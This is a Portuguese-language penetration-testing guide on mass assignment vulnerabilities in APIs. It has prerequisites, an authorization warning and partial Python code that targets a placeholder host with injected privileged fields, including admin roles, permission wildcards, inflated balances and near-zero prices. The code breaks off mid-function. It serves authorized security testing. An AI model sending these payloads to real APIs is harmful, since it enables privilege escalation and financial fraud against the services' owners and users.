Testando API para Vulnerabilidade de Atribuição em Massa

Quando Usar

• Testando endpoints de API que aceitam corpos de requisição JSON/XML para atualizações de perfil de usuário, registro ou criação de objetos
• Avaliando se a API vincula todas as propriedades fornecidas pelo cliente ao modelo de dados sem uma lista de permissões (allowlist)
• Verificando se os usuários podem definir atributos privilegiados (papel, permissões, preços, saldo) através de endpoints de atualização regulares
• Testando APIs construídas com ORMs que vinculam automaticamente parâmetros de requisição a modelos de banco de dados
• Validando se a validação de entrada do lado do servidor restringe propriedades graváveis por papel do usuário

Não use sem autorização por escrito. Testes de atribuição em massa envolvem a modificação de propriedades de objetos de maneiras potencialmente destrutivas.

Pré-requisitos

• Autorização por escrito especificando os endpoints de API alvo e o escopo
• Contas de teste em diferentes níveis de privilégio
• Documentação da API ou especificação OpenAPI para identificar os campos de requisição esperados
• Burp Suite Professional para interceptação de requisições e injeção de parâmetros
• Python 3.10+ com a biblioteca requests
• Conhecimento do framework backend (Rails, Django, Express, Spring) para prever o comportamento de vinculação de parâmetros

Fluxo de Trabalho

Passo 1: Identificar Endpoints Graváveis e Parâmetros Esperados

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

Passo 2: Injetar Campos Privilegiados

# Campos que nunca devem ser graváveis pelo usuário
CAMPOS_PRIVILEGIADOS = {
    "elevacao_papel": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "flags_admin": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "substituicao_permissao": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "status_conta": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financeiro": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "propriedade": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "interno": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_atribuicao_em_massa(info_endpoint):
    """Testa um endpoint gravável para vulnerabilidades de atribuição em massa."""
    metodo = info_endpoint["method"]
    caminho = info_endpoint["path"]
    esperado = info_endpoint["expected_fields"]
    descobertas = []

    # Constrói uma requisição base válida
    corpo_base = {}
    for campo in esperado:
        if campo == "email":
            corpo_base[campo] = "test@example.com"
        elif campo == "password":
            corpo_base[campo] = "SecurePass123!"
        elif campo == "name":
            corpo_base[campo] = "Test User"
        elif campo == "items":
            corpo_base[campo] = [{"product_id": 1, "quantity": 1}]
        else:
            corpo_base[campo] = "test_value"


…